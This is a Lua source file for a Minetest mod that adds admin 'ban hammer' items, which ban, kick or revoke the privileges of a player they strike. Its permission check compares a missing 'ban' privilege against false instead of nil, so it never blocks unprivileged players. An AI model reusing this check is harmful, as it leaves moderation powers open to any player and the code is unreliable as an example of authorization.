----------------------------------------------------------------------------------------------- local title = "Ban Hammer" local version = "0.2.1" local mname = "ban_hammer" ----------------------------------------------------------------------------------------------- dofile(minetest.get_modpath("ban_hammer").."/settings.txt") ----------------------------------------------------------------------------------------------- local mode_text = { {"ban punched player"}, {"kick punched player"}, {"remove shout privilege of punched player"}, {"remove fly privilege of punched player"}, {"remove noclip privilege of punched player"}, } local function ban_hammer_handler(itemstack, user, pointed_thing, mode) local keys = user:get_player_control() if pointed_thing.type ~= "object" then return end if not pointed_thing.ref:is_player() then return end local puncher = user:get_player_name() local puncher_privs = minetest.get_player_privs(puncher) if (puncher_privs["ban"] == false) then return end local punched_player = pointed_thing.ref:get_player_name() local punched_player_privs = minetest.get_player_privs(punched_player) if mode == 1 then if SEND_MESSAGE_TO_ALL == true then minetest.chat_send_all("The ban hammer has struck, wielded by "..puncher..", banning "..punched_player.." from the server.") end minetest.log("action", puncher .. " bans " .. punched_player .. ".") minetest.ban_player(punched_player) elseif mode == 2 then if SEND_MESSAGE_TO_ALL == true then minetest.chat_send_all("The ban hammer has struck, wielded by "..puncher..", kicking "..punched_player.." from the server.") end minetest.log("action", puncher .. " kicked " .. punched_player) minetest.kick_player(punched_player) elseif mode == 3 then punched_player_privs["shout"] = nil minetest.set_player_privs(punched_player, punched_player_privs) minetest.log(puncher..' revoked (shout) privileges from '..punched_player) if SEND_MESSAGE_TO_ALL == true then minetest.chat_send_all("The ban hammer has struck, wielded by "..puncher..", revoking shout from "..punched_player) end minetest.chat_send_player(punched_player, puncher.." revoked privileges from you: shout") elseif mode == 4 then punched_player_privs["fly"] = nil minetest.set_player_privs(punched_player, punched_player_privs) minetest.log(puncher..' revoked (fly) privileges from '..punched_player) if SEND_MESSAGE_TO_ALL == true then minetest.chat_send_all("The ban hammer has struck, wielded by "..puncher..", revoking fly from "..punched_player) end minetest.chat_send_player(punched_player, puncher.." revoked privileges from you: fly") elseif mode == 5 then punched_player_privs["noclip"] = nil minetest.set_player_privs(punched_player, punched_player_privs) minetest.log(puncher..' revoked (noclip) privileges from '..punched_player) if SEND_MESSAGE_TO_ALL == true then minetest.chat_send_all("The ban hammer has struck, wielded by "..puncher..", revoking noclip from "..punched_player) end minetest.chat_send_player(punched_player, puncher.." revoked privileges from you: noclip") end return itemstack end for i = 2, 5 do minetest.register_craftitem("ban_hammer:hammer"..i, { description = "Admin tool 1: Ban Hammer Mode "..i.." ("..mode_text[i][1]..")", inventory_image = "ban_hammer.png^technic_tool_mode"..i..".png", wield_image = "ban_hammer.png", groups = {not_in_creative_inventory=1}, stack_max = 1, on_use = function(itemstack, user, pointed_thing) local mode = i ban_hammer_handler(itemstack, user, pointed_thing, mode) return itemstack end, }) end minetest.register_craftitem("ban_hammer:hammer1", { description = "Admin tool 1: Ban Hammer Mode 1 ("..mode_text[1][1]..")", inventory_image = "ban_hammer.png^technic_tool_mode1.png", wield_image = "ban_hammer.png", stack_max = 1, on_use = function(itemstack, user, pointed_thing) ban_hammer_handler(itemstack, user, pointed_thing, 1) return itemstack end, }) ----------------------------------------------------------------------------------------------- print("[Mod] "..title.." ["..version.."] ["..mname.."] Loaded...") -----------------------------------------------------------------------------------------------